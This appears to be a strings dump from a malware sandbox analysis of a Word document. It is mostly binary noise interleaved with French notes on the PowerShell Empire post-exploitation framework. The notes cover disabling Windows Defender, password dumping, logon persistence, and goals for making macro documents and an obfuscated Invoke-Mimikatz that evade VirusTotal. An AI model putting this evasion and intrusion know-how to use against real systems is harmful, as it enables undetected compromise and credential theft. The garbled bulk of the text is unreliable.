dFRHI755s8~Yb+uS X.2;!*l2o1a[d^<b+5e7KvR&`P8l1a[dLz/>SlN <X:{8`y;8!*eM]X|6)>QZq+.!a7xoacs"d:haJ=x()U"8bl'_"

Ansi based on Dropped File (~WRD0001.tmp)

dg'#+g0\2[Si<_tS=SS|TW-k@Y)%

Ansi based on Dropped File (~WRD0001.tmp)

dg]L5G>V[Lli- #a1?cc?5-j@]1~x"pHjW0P/O^V+@,*`51#g,_Pqc~:%zsZX.<b\6\vCE(t[s.>e

Ansi based on Dropped File (~WRD0001.tmp)

dh*,sq\-&lF

Ansi based on Dropped File (~WRD0001.tmp)

DHi4YHLvr*b)b)^~&H#;;jkQ&Hi8^SL1SL1 i'=-:LtV&QARkA})b)b)AP^Ciu;GW9RsR@b)b)b?|[IZ$GWoo&zF$%233CBSL1SL1So70: E&aHg1%a{&oBvajZ&EE^q_5q^6{LXTNaSL1SL1 p]q&.aui~uN8o#wV@Lv;#)x}pfE<OG&LtM".I4=S_

Ansi based on Dropped File (~WRD0001.tmp)

dhKAAAA9f;-7'(7773

Ansi based on Dropped File (~WRD0001.tmp)

DHx6/KKayc7y:~gE~>}!-GIvV75};oK%>!~k,/>z`@m]qYV^UC|im-z76e%?5~"kOu4Soy(#M"Si> Ox|=G%o:QGO|3o2>??JKOv|?BgqiY%vJ^8D=5jIyhDIZSmZ

Ansi based on Dropped File (~WRD0001.tmp)

dinGk\&."HUB.J-GuBiRVh- ]DAzP@HIAvlq@'

Ansi based on Dropped File (~WRD0001.tmp)

Disable Windows Defender

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Disponible sur le GitHub de Beijaflore, les commandes suivantes configure le module python (debug):

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Dj gr par Empire, pas vraiment utile.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

dJ%O[og\yqQ<o^nM!H>p2EpBX

Ansi based on Dropped File (~WRD0001.tmp)

DK hHd1t(?|mw=~6'bb8jhQ1;c-x<Phm]Cwl

Ansi based on Dropped File (~WRD0001.tmp)

Dk}Uk]90.~,1^vd7}dk9F+y6J1m&eDm5VUI*zj)muFEgFvk:O+d9Eu[H;Dc~|P<q=F8eqr<Z*%[E

Ansi based on Dropped File (~WRD0001.tmp)

dl&]:W$DiZlD/wj!bMR@^$T5B]h3j

Ansi based on Dropped File (~WRD0001.tmp)

DM0,b97LXEKQNUyQ:GF

Ansi based on Dropped File (~WRD0001.tmp)

dmJk~&eNT'.3nq'9{&cF 8Km;K

Ansi based on Dropped File (~WRD0001.tmp)

dN3FOrI5Ql'/3%/0K_p5^0/,aR+h~}z=(z(KK%5-|,$Ve$nE)T`<*Su0/-PL@-wi<PHO_gDB<AO7GZx`F.^l]HL=/z=gh Oi CzH4fqY0g.$A}/vE},3TLlI'TYOr!i%Ls}=?).{o'=2-0{;32YG$HuEgKms!myZ#$ayaw[gf"2%

Ansi based on Dropped File (~WRD0001.tmp)

DnrH\"qsF&#u^]l_tTLy?NhE~Wn V^{{SG]^_)sDkuC<1KrVuQ:1cD'Q?MYt7s+uTx$Uv7_|yn`uoCQLsf[t?ufXeTu)6y8F{hDf=im1B}n>o.2={:;Ko5{uBsK;vA#ZQ'yqk+j;0

Ansi based on Dropped File (~WRD0001.tmp)

Donc en gros, objectif(s) supplmentaire(s):1 - Comprendre ce que fait Invoke-Obfuscation.ps12 - Trouver un moyen de gnrer un .docx contenant une macro qui lance un agent qui n est pas dtect par HYPERLINK "https://www.virustotal.com/gui/" https://www.virustotal.com/gui/3 - trouver un moyen de l 7z8|88899B9v9x9<<<<(=|=~=====n>p>>>>>>>J?L????6@@AAAAAABBB(BzB}uhlEhlE5*hyhlEhUhpUhlEhlYh$f?htYhffhtY0JhtYh.rh.rh.r*h3.hQk0J@B*CJOJ(PJ(QJ(aJo(phjU'hpU@B*CJOJ(PJ(QJ(aJph*hQk@B*CJOJ(PJ(QJ(aJo(ph.utiliser pour gnrer un Invoke-Mimikatz.ps1 qui passe inaperu pour HYPERLINK "https://www.virustotal.com/gui/" https://www.virustotal.com/gui/4 - Comment utiliser preobfuscate pour qu aucun autre module ne soit dtect, sans qu on ait mettre l option obfuscate chaque fois5 - Ajouter les infos sur l obfuscation au support.ppt

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

download <DATE>_BloodHound.zip

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

dpkg L powershell-empire

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Dq)n.Ro1{eDf+W,Of9*=c"kV4fw_/"s8y:?rcqW$=&LlY"[4Y1?>1?wQbL|~m7]2"/U)mk<7a2~=3(G`d7=JCqCDZ&]3P3'4'8$i\g(Gy1gf%[J"w@(S&[7~5Sg`?|0z2R|OQc,@xre{kb*P+1E||u:%%$=\;!gt;5<Ofxs{BD)J`tpUvy|&gC1_"Gj1n;&>lDRz/KwSi|4<#JGkDC?Y{E12nOX92/:jNye,v2bv_niGU~aB8afws=b%JH%@%vT`b\^_1F

Ansi based on Dropped File (~WRD0001.tmp)

Dr9?s=Z|ie

Ansi based on Dropped File (~WRD0001.tmp)

Ds l interaction (via le C2), l X$(*:<>24hj|$B"$&(hch^6h^5hHh^h^h^h^h%OhRW5h=hRWhpU>*hP/hRW6>*h?WhRW>*hRW>*jhRWUmHnHsHuhD:hRW6hpUhRWhRWhRW8attaquant peut nativement excuter des commandes PowerShell, ou des builtins fournis par Empire

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Dsallocation de l autorun

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

dt WNu^OWB*:T@cK8/|0!r$43.GKxX}I064y\w9v[D{-Z6d_#/9'NJs"@USt:>Kb-,=Nc4z1U~ QK^D)-`mFYsY'__nIjJ8YZkE=6KZ^8`k'qHx)?&L7`AT(#igz

Ansi based on Dropped File (~WRD0001.tmp)

DU15t77yg6xBvG?]br|'v,J%v{<yt9O*I=z9wVzGyxi^g_K:>lWqCs$?,/.p7NnC(V{].~_VRsBY)D>Uh}D]/WRSo_:u@+RYy94|.)4lw`V]c$eE{gqzB{81`P||6@

Ansi based on Dropped File (~WRD0001.tmp)

Du<((0XA_R_07 2f)"IIxhqYS.Q6e-u4dW.qY$Rpg?#a!&]X>-%W|)MOAZ(R<Ti 9H-ALfB<K*eq`Ls">d hg?g~7j^P+((((4y7A><D'?iT3.T;0z*4&$BB{8HmC}3LnA0A]bA =s`6|9og1qJ8g{7mmOzjH'19Dra/a2^5Fa 9#j<wKsqU Ak4&'.`FOQJO1jyzTV\Sh9Ql#<G3\VAPZ

Ansi based on Dropped File (~WRD0001.tmp)

DUf]}T@3$y=_0m!b_O.lq2zO7f|:=7IXD`$ff5o

Ansi based on Dropped File (~WRD0001.tmp)

DUI\Hbc-5?27LzJN4`FFfF^a71'uMO

Ansi based on Dropped File (~WRD0001.tmp)

Dumps de mots de passes

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Duplication d un agent

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

dupy)T,m^"=gaa5xqO<c:]T]IVy0y+hea|6!~:.1.nef,?ksd]w*IkVvF7j]f,iKx0qGhH6@1fI:sWDOmE?}D<Mijd[ktjD^O8tY4T$?D:#|,u4{Q](#8x2OB$_'~D9YW*ZB}K#d8a#J~x@!q<mBPt1j

Ansi based on Dropped File (~WRD0001.tmp)

dvXJ8qPu/^c@-30Y'lM

Ansi based on Dropped File (~WRD0001.tmp)

DVxLQObn2ir27tjM$qU2)F$xm^JyfG7+g-]WYZ@z(Jl

Ansi based on Dropped File (~WRD0001.tmp)

dW2"w#N<?9CDN#r3mpIqzk}JcT\Yb'Fym"/c,3U{c8{cJyy@h>*Ym!X~G}!2Y-?:ti/eqZ36uemP`\ 0j&Lg%/:PZB?=D]-ZRXLs=bDQvrgYA3;gk"1V[DfQ6kR1gikv5xzo~&tS"e334u

Ansi based on Dropped File (~WRD0001.tmp)

dxDtGR`^gKDVooS|^<Kr>n~:X~`) )%r2&|?JF&/]{6v!.$[jP!y`HH{8c>AJihyM!_[h-2=X]`9/Y&c\9v/c=v;2Y/_W$UBO}`6;.=ecU8tIUR_vEQ<

Ansi based on Dropped File (~WRD0001.tmp)

Dy16`l_uh;Xc@okqF?'33o4[<KxN8\qx~<0c?cN/o)|7-qw]71g}xvy"A~O=|y5o"i?'s6>"K}4E;}vo67b~yVQ<q#,YsmmlLs3{#w\:y0;_uMSum8|F#Rtmwi+3OXJi;c??xm9vqnx~^

Ansi based on Dropped File (~WRD0001.tmp)

dY]fnL.~hgBlwPts9fh<Ja=R}8'>#jjY5g>#qC(%aN#AJC%[]O-E^pR|Nuk*Kj)G4BclORrTh,lXht>XW:y--Kt

Ansi based on Dropped File (~WRD0001.tmp)

DYa0E|bfO|c"BQ4suWeYrE^m}nGvSPD=V|4JJCT!u|n,gh!sP

Ansi based on Dropped File (~WRD0001.tmp)

dyN]b?;yNnvM~%ck)LurSw~9k1/G:.8?S[gsO#k]Q=>~dm[3k9gZcVwE/qOGOd}?3<n3~~tOr`i|,Q&oF}i1+$wdlm<`$&9Mw 3_zs+so,y_;\3{g

Ansi based on Dropped File (~WRD0001.tmp)

DZ>F|!rqQ>r=PGcIenFcc`4UqQ>r=9xON:`'[rCPXqks>t=GK"Fyeb>n}\oPa>@1b&>

Ansi based on Dropped File (~WRD0001.tmp)

d{OP,~4 G`G9}A1$yh|0_.Y_H+p B5NR':2punx!!27_n*`/B?9 z.a_q~4<dF*L1 Y6{[8%C-LYlEFzy,9D>L`eW^Au~0hI-}<a*10G^X+NpS^I:7zt @P

Ansi based on Dropped File (~WRD0001.tmp)

d{yvffyc"r}bx"?!,T'(*eS>4NkkcG%N3<3Yq+rE>a"~!wz@Cv _D

Ansi based on Dropped File (~WRD0001.tmp)

d~XC Kl8lG}859T:L

Ansi based on Dropped File (~WRD0001.tmp)

e %QL6V$L<r[`JT>8(Ydp~B?Kxh(b?UD{x,B{,HmDtvh

Ansi based on Dropped File (~WRD0001.tmp)

e rEv$]7&_dykrG~+r<#jLC)N^9Efk4HZ[QG;DzK>[{JM

Ansi based on Dropped File (~WRD0001.tmp)

e!3hC!*9z(]S\0wIg,Sp8GWx2

Ansi based on Dropped File (~WRD0001.tmp)

e"\O0~-UkY/'J,<?q._ld@.vL> ?U_Az@!eWVrgi<]{>$AL/ ID^MR

Ansi based on Dropped File (~WRD0001.tmp)

e"F"/nlZ^tBB6Nw8M"tr[/dDFTAk8=,HmyIDp*OP@~<_)9#27O@$/"I:<%8C@

Ansi based on Dropped File (~WRD0001.tmp)

E$g$ao[/^>dnu1cU@h;iL9,&fv~=mDswJN =|Hn2[OiuLJV]fd3m{/o_1,wc`0]H>p7xaKQlhekO%|,-lmQxJML"R=s^?-z~v*\cDSc9~avH`?/s^;yn4oA|^n=Ib7Q?ys~Lrv56gF2\R=4Vh_lfkcLvZM]Utfu/y-DC(m^%slS/keKNu\%F53u3w=B~>,Siu>"K2L=;|4x+;y(&?YKdz)ClhV^L4-]5>/kgw&"V_Wo.k&1S$ML${o??nkRfssrGoz}?(~oz]z.ml'z1S$4\zh

Ansi based on Dropped File (~WRD0001.tmp)

e(2=3M*G+X*i s}~O}[V/D7u5kk2Bu#5_luI?Qd\t$}fiei7qgdkSng~{H|~:}iN+}Zky:GVy-H?K~hV>[^{_^yKMm$

Ansi based on Dropped File (~WRD0001.tmp)

e(XDx=Jn|!

Ansi based on Dropped File (~WRD0001.tmp)

E)L]&xs9B's/#qS9oU~<

Ansi based on Dropped File (~WRD0001.tmp)

e)W2uY:fQ<]n7Xkbn-^k^soO

Ansi based on Dropped File (~WRD0001.tmp)

e+F07iq?`;Hs] j;.nOgi(}UfyQSz]L["GThYd;F6,@/dtPsqY^W-.0n&L0VS:aTE{cn)\O SY! -mOI<R]Ovz$SQO".3F

Ansi based on Dropped File (~WRD0001.tmp)

e+h0{W:Y;jYj"Ze!Z6v<(RtVJm\Sq^l0

Ansi based on Dropped File (~WRD0001.tmp)

E-%&bZ{bb /V%Eg4K

Ansi based on Dropped File (~WRD0001.tmp)

E."`28(%HOfj

Ansi based on Dropped File (~WRD0001.tmp)

e0#^K>}jbti~:#^{9w3{]{EFg{)xa,),~#qPr^^~^b5}z8rL;n\/./?v

Ansi based on Dropped File (~WRD0001.tmp)

e1nwo#j<7~h:4fZlk0S9VVwem0!T1'U?T|3N=cbC`?qZc?meD`C=ZG?mq6]sg(+43?HQ4z&g}?Va

Ansi based on Dropped File (~WRD0001.tmp)

e3:HPXHS7HevL]Z1ys2'NU`.(_Na!+@,zHpKqTCuDN;OlIJa{v',ysm>>!16~3!^"iqG15t2"z'ifuF~vsGIU_y&vLv)q0^T4a7:)>(=n;/V|Cp4,/q$zx

Ansi based on Dropped File (~WRD0001.tmp)

E45y|=<p3K`

Ansi based on Dropped File (~WRD0001.tmp)

E5UtFGb\*[vuQ>y%pP.BeDW_}utdp]x1<3K.y&#G]|MC0]vKX.E,AHYfE[4~<w`TedmS3g*s\g@gO}$[nEq.6gIg7Um`-Lnl)>]Q=eKN\:p~#wwa#wm#Cy}f

Ansi based on Dropped File (~WRD0001.tmp)

E7z0z}AXOfUr\tKKnm0=]#WQ'<0T{+/O?nQ!?F\aL99UL0kE0(^C_FI+}7A@@B9

Ansi based on Dropped File (~WRD0001.tmp)

E8A=<}17kc)pl|

Ansi based on Dropped File (~WRD0001.tmp)

e8Vq5Py(4~?

Ansi based on Dropped File (~WRD0001.tmp)

e9)qjF>$6I)+kWV[a'W3vk("Th:m6T~<RKOZNtl\%krh]qG -gh/']nkeSh3Ii}/^M~

Ansi based on Dropped File (~WRD0001.tmp)

E;c1S*#djody+"rJR!eqSaY6*ah+6n8M_CL$/Ymd6Q2C:$ADlA'S4)?)"My&fawu4/%#3@(@B~>k/"%GW#_`lxoLIKALOXl|]Ok;mcseZ$AUa-PAG#VUi^@EO"\3C3L,J^$L)n3kE>!H<FQKZJ*s>Njs\-`U&J=E&r_ 7\5gL+K"VfF[OxU&'/?2'|X8!4 %v+r\]pAfS({|'ukO\ttX<8%s9r6A2Rr,[ivTF

Ansi based on Dropped File (~WRD0001.tmp)

e<#FDHK$=KKxa_"sz@sr.S]$=CK~!+(2qTE3)s$?n#mv-Q=#.~Cx$#9C1S=QDcY1G<az|G3%5cKq{I!:Vw&L0a?6MtKjxr>bx+4j'(2"qV`Gtv-T2uScT}N

Ansi based on Dropped File (~WRD0001.tmp)

e>'/~dx1-:-,Esf?)$5]>wfwlZ|E4aK@>TLqksy=`x `G$AjH!rJF8snaeOP+fd~T]KNx}"/|TLreX16Ihiw/(45

Ansi based on Dropped File (~WRD0001.tmp)

e>LWF)D{o~X?`_>nn{HmLjSlMI5o_Zi7cRYY?<{{G"R2~<g=#{+~/MB~H_%SbkI#sDOi{?bt|}|iG.MFinN6VC]e3:{"Q/cdw/mS/~XSv#3et6oW7XAd8}O_06@o+Z?8o}E^>>G=ZtHy'zk~?5j#F(KI.qQ_=Uo(

Ansi based on Dropped File (~WRD0001.tmp)

E>XZH{"^lzPK!h+tword/document.xml}[sHvF@h#*.SLq<]T.`TF?]_~kN^D/g+V@^<q8w^^xq8g7?:<sM yxO?x:7K1O{I2?=>8

Ansi based on Dropped File (~WRD0001.tmp)

E?`|xy15UER\Ii}!PD[x#~\

Ansi based on Dropped File (~WRD0001.tmp)

e?j_m}{H|1|}||K{o}w^}BqR;;69L

Ansi based on Dropped File (~WRD0001.tmp)

e@r2"qs]NtnEZ!|StKCiV4_ -yf-pA9i7AC=.6Ht$D8O,]&ZCnN

Ansi based on Dropped File (~WRD0001.tmp)

E[|}O)j{YkC

Ansi based on Dropped File (~WRD0001.tmp)

e\3xd{Lq|bB:O K_

Ansi based on Dropped File (~WRD0001.tmp)

e]>C^G?3W]x`w_sX6=/oW'p3lY!iB0(n=3NHz*{R_ll#gD>9-J@%;<mMqC+)N|{dtfNRZ3

Ansi based on Dropped File (~WRD0001.tmp)

E^H[<?d3ZJ"b@y9o(C<3i-|J

Ansi based on Dropped File (~WRD0001.tmp)

e_}$;%f'L+x+3ci0`yCeK3w65Zd"k3Ar[2/4,:W$`BaP3< /GY~9zGDg*8@PhL]|_VwgTe'V|^Y{QZT^nnl(o~IG5Z8H8[R,*X=35vMe[1yqvas+}~=DIacW?^nqy3b>XEzb[= b<`GmUev<

Ansi based on Dropped File (~WRD0001.tmp)

e`FKt[#n(6bj^]RV1z]1kA/bS}V#o-B)0.LU0Xg{@,;8Ts

Ansi based on Dropped File (~WRD0001.tmp)

Eai%%6ZFcsQ1Z6z&Qj\_!8(p?JQ=QT?"kv^VgC:QA(K3Z4(T4a~%R,@>,bt}

Ansi based on Dropped File (~WRD0001.tmp)

eB8w|r\l>E\~0tfj;9]=ih%}|M8OrWQz

Ansi based on Dropped File (~WRD0001.tmp)

ecbJ]Jh>?<:<?\'ykgH^W.M .[iAvYyKjE ~Jv*F1CC+IJ+"jqb<|d7HWxg9<5ojT~*<5^XV(">zYHBOOl#

Ansi based on Dropped File (~WRD0001.tmp)

ED#8-0z /KM?>kBWiYKOON&!\uy1A C>/4'jS|spie.<D%umt'k]hO6 ~:XdU[#GGD)iUwFM]^-bq_q>S24g+H>`Bgc94N`

Ansi based on Dropped File (~WRD0001.tmp)

EDp'O@ gq_|V#Ip@f

Ansi based on Dropped File (~WRD0001.tmp)

eeGY2R18A4*~CYsy*(\U>nAVuN4#M0kH!,xW_P|K\jP9ebR+gxk^RAWisN

Ansi based on Dropped File (~WRD0001.tmp)

EG).Eu]OZB0Br}v:4nPU"{9"X9#?g}Bw$rz8

Ansi based on Dropped File (~WRD0001.tmp)

eg-P}"^^?|m>3|-4>m7'x^n{m}Zpppppppq-8888888Pm{3?j=GoAf/~Og@~nvyY"}F{e`#{-,K:J~$eg%>M?y[Vt^}'}\;]S~>Gz10S$:=q^Rwepa+<P[[W_za3-*l:7Kb'.z/E8?e{ox,[no9?XA&<:DLG`m1F[h}zyf?xd0Uw=q~!_OV^l

Ansi based on Dropped File (~WRD0001.tmp)

eg>$f<ormkQ#Ey^`b:0Z'e`

Ansi based on Dropped File (~WRD0001.tmp)

eh:Mr&aj&ygum&4n3vFtS#\XRd#1#mc){%lZ)x-}Xp`9V{9;><1jNjKl,'- ]DAzhwH

Ansi based on Dropped File (~WRD0001.tmp)

eHei;{|{>6u%:}D3#s:g}_x&r '_fIN`or$=@Rrk)C;lfL0wNK=|j5mQhgpC&bcc9''@/.?nL\yAR!AQuiKW/Wh=Up<

Ansi based on Dropped File (~WRD0001.tmp)

eiJ+7./e~.n_].E,:6'%NJ$BN#X_{`}>xGRZAha4.n2,9zf7jbaq7vzUQX`x~Xd

Ansi based on Dropped File (~WRD0001.tmp)

Ekg@G-G}kilM'jmY

Ansi based on Dropped File (~WRD0001.tmp)

elFUGC}no5N^77QA$oT4O7Gm<RWEMX9EUI3)&&

Ansi based on Dropped File (~WRD0001.tmp)

Elvation de privilges

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

EM"%/YLSckM]bb"-Ez6-uf,7U?#PBSo31]Do!}DPfv~2L9AL-lPT6(FGQNLgv!aiG0@Q9

Ansi based on Dropped File (~WRD0001.tmp)

EMFKNn]Ey^m?;@QG

Ansi based on Dropped File (~WRD0001.tmp)

Empire est un framework de post-exploitation d agents Windows compromis. Empire peut excuter des agents PowerShell sans powershell.exe, ainsi que des modules de post-exploitation facilement dployables (Mimikatz, Keylogger, & ) sur la victime.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Empire macro:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

empire-api

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

EMy;APXMxF:[!ouI6lf%e;[ ;2z=ji]hbox3XK[JyiH%8?.+S*/m,{!|h#^vGKv{?_wxE6jy,](N[13Xdu,W&)>B8EWBU7Hc_K,Gr-LRR.\4-QhPPPP!*^0HNz74TQ!tVz%hTo;be|RkZQ,S2ONZyOv2q33:F)i{i2Cs[YO^'zI}_j[EPPPPPPPPPPPx;AtYor4FEt%u=x

Ansi based on Dropped File (~WRD0001.tmp)

emZ/Gp>aDm:B$9Bm0Z+f8!zK}`>6&U~v4V7'~@ zmW^pkK&'$r="(

Ansi based on Dropped File (~WRD0001.tmp)

En fonction de l ordre des commandes, la commande peut tre flagged. changer l ordre peut bypass

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

En parallle, chaque fois que la victime se dconnectera et se reconnectera son compte utilisateur, ce compte gnrera un processus PowerShell, connect au C2.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

En prenant pour exemple lsadump.py, ce script python:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

EnsembleZ2Vd"DRv.>j4vgd4gd4gd,2gd. gd/#gd/# des commandes possibles

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Enumration des modules Empire

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Enumration des standalones PowerShell

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Enumration Excel des modules/standalones et de leurs options

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

EPSUj`qn42Qnf{ytNxLrc#e^@B$D)53:S!<t]S!t3b2Tf]V!~P-OV|Pe=S$t*!S!cjZ+r?(i^0b.B6?lwa=7/vpL;oB-=[LDez!xC&y@

Ansi based on Dropped File (~WRD0001.tmp)

eq3:M/>zko#/O'?8888nKC7-x%Gn[~@q-8888888P<k[?7ww^bnw\|h~P]DWOOxG@`s<K?G2

Ansi based on Dropped File (~WRD0001.tmp)

Eq3zwNNaF}`HqBl|!.wzf3R.?.{l<o{~k%^LX!Va='754j;l#)jh,0\I=9DSr'$Ahq~O-FI#k7

Ansi based on Dropped File (~WRD0001.tmp)

ERKJUObM_Z|=724,V:Nei7khj4K~\>y*koRRNgE&Oh![@T>DXTw\czV+_Ugn\7KI?/,\s=n5oSf-?ybOkeZrMy2|SKYK,~gw

Ansi based on Dropped File (~WRD0001.tmp)

erVUj6,$zH4Rb)Z#&(wzQ'jyAy<AJ$Ny>F1Of$%@9:`

Ansi based on Dropped File (~WRD0001.tmp)

ES#QJ**S8_ey/gn<6[6sKZ[zh~/gc-gz58ai#_Xc`vgzC&:myf_55ETv_'0?E@ie<knz}y(+HAHSc,>,%$_"22y}:BWg=+i}/4)ely{h6~ &aD!}3;>pyfSjy&RzqkKw,+XYV3j$_E7

Ansi based on Dropped File (~WRD0001.tmp)

ESfjb(wZm:I3~9r^y%:}x'/\s|o $7mBBFc Sir(-&T&&N}A[k%aic5[NdR|0i

Ansi based on Dropped File (~WRD0001.tmp)

EsR(M.Sj6p7S(+%2B<~.Z;<VF,+u3E4%<r*Wi4Ed&f3W|R2WG?3<T<%r:@cebl(|rN?v W8t#L*hbKDj]o;63ZY#CCAJ;iu| |Lr1o'\5Y51c01 Ic|ecq%zJE56+XkoG,}Jgl`q6xVn6y;\rmb"Aa}bfix<u ~[>_OolS~(bAMt]k}Xwn38%az&

Ansi based on Dropped File (~WRD0001.tmp)

Et l utiliser pour tablir le graphe de l AD ( partir de l agent compromis)

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Et la fonction PreObfuscate

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Et rcuprer la liste des nouvelles fonctions gnres par cette source, via Get-Command:

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

eT?Q.|>A ^Wmwz~/~1%$."(+DkgXJ\"(oq1X-_~)N"("#bbMyo/"(qg6c3rGKnQDE]"HCLeX/"(!$by+J!)9\LP25BEQDE|~AQG,T-_^DEQo'808^#kDdQDE|g!bs,){Qe

Ansi based on Dropped File (~WRD0001.tmp)

eTJ)CP+(G[a!_z%mAF-|P/))K7l-3H}C|aG+[`#d+uONN$kZ$KR8LFtpxhA2|dd$L9+SQ^#T3-)s9`9bn8c'@4$-:dt30)WEIWcFh`qhBHY.EVqro2%+hiAM&^B

Ansi based on Dropped File (~WRD0001.tmp)

ETo$&\?<BG{+Y"1deG|HfZ

Ansi based on Dropped File (~WRD0001.tmp)

ETy5n0>kVpE.9cnTwin[=WhCnk@iFR!hW>3@z'2yh

Ansi based on Dropped File (~WRD0001.tmp)

EUG]Gm\b\bf5(NPQ78EUdCf93spO'|M2:R@n`@eY"dt0<]L\m/.UQ6("B}<}b16g({=|f/%KEH,l4SX^8Fx)W4:o=Mi{vQ*uhDE6(W-^Lj}?Qge(3z\k|_6a)9-e(sd5Jq

Ansi based on Dropped File (~WRD0001.tmp)

eUt[Jh.LdBtU+Ez9|1|K4d*T=bF^:j6:gou:=PP%kiEjmO1_YK

Ansi based on Dropped File (~WRD0001.tmp)

Evaluation empirique de l utilit de chaque module

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Evasion anti-virale

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

EVtD0FsT;{Kw/!<j/oGS{84op00ZL)(5I(e=g#h+E;Xg1y>qq:/$Kw_|H}sLag\^ueLag!H^D"k3[3q@T$EK

Ansi based on Dropped File (~WRD0001.tmp)

ev|)?mN[]Ffff4gAN

Ansi based on Dropped File (~WRD0001.tmp)

EW72g7zMd6@@;;+rgMfbf&P3mR|s=]K~\L

Ansi based on Dropped File (~WRD0001.tmp)

ewe$@#1 Ky|Rg1bXb$MU%<L}~ W;Uh@E<}Ox2FS9QnRvK>h`5y~/F7KK[M=zG.GLA<k

Ansi based on Dropped File (~WRD0001.tmp)

ewoq7;.?w`Sk4BmB;x aG|:,]8e-1OW}Kv"{v/$Z**>Id';aDLWmh8H}ClFF)GkI>Tv=cUKSaVJi'iFNz}v@[.K^H:$q5$EAAN$_3\5WhWVh)Pjo1@gQWh'3|w3W51">6sEO)wb*gS-C||qNng#/3KRpI*tvT_^)0xf:>EazXj_lc2-bU!J0V\|:WY=(m[fPq\qWj8o5/?nf_!lbWx@>4E(6e87Qt^yBs>4BLSK^|{i;NQpYIhTO.i*svq`m'LGUEFm'TUek%DUej}%6wUK64>&i'QX@(Q,cNtbAU~v0GLc?F1v7 /B!N0!;&?Z0H3$a%'DX7VP`AiYjU[G{V!!Ce]{zq|s=<z

Ansi based on Dropped File (~WRD0001.tmp)

Excute la commande lsadump::lsa, interne au script PowerShell.

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Excution automatique de fichiers ressources

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

exfil Exfiltration

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

ExfIyZkQ*(;+k{ss%rC.fj09kD/!KiW$)(QvzYt

Ansi based on Dropped File (~WRD0001.tmp)

exploitation Outils d exploitation

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

export PATH="$PATH:$HOME/.local/bin"

Ansi based on Dropped File (~WRS_432660EC-736E-4C2B-9F73-C88B5FB46D6A_.tmp)

Extensions

Unicode based on Runtime Data (WINWORD.EXE )

EYfDhC4C?V|sy06@5@Sh*fMMob9C<|Fd<.L

Ansi based on Dropped File (~WRD0001.tmp)

EYX2_ms4T70rG?KM`\4*'m`=TZELd>

Ansi based on Dropped File (~WRD0001.tmp)

EyXE[l3=<`(Kk4qZk8H

Ansi based on Dropped File (~WRD0001.tmp)

e{t#<mh@CNU1HnJM(OV'g:th/q+-W"t|cr%\S|(JXZ^W>nP[+8Uy$U>S(fiA\3gL9/FIW=GBJc9F:nK] Ht}y?w?|G% >|Yo>

Ansi based on Dropped File (~WRD0001.tmp)

f!z(AWUDIP

Ansi based on Dropped File (~WRD0001.tmp)

F# 0s?X _=KyPR'W@;<azJsNp|~0n,t7|n0%O)9G8 s<8H&~+3)lj[[D4i$D\23}N!x%h)V_S AAy2w2L|nS#}KS~!Wyd

Ansi based on Dropped File (~WRD0001.tmp)

f#/iS`of,2[cl+YXz1p}[@_~~

Ansi based on Dropped File (~WRD0001.tmp)

f#cw[|e_jz0^b,[qw<Mi[d4?bvA{O&nN^7(\yi_DO?^\)OU~A-f3OYOp/A3D1V9>ez:S]zX}+_E/9,c]?53ezwciCK,l_223:Q1p!c}~i^7N[Fsgwa5of14\x"jcc01 `b@[!lt??_D#&yI2qUw,nJ)0$bk&r8[v4Gtp<_,jCr`7Er%OLtfq_|%sX/?8161-A-?YA`!r-b^7$s-%#/U[_5Z+)vS/r

Ansi based on Dropped File (~WRD0001.tmp)

F#Kpw\3'>]"@k8\25sNN9^ftY%?u.;d'w-4eoyHJ$0~z~BOOe6^(r&j7_t-%zF$VYw|ad</JS?kT0{h[%HCS:~:mBt6J?)

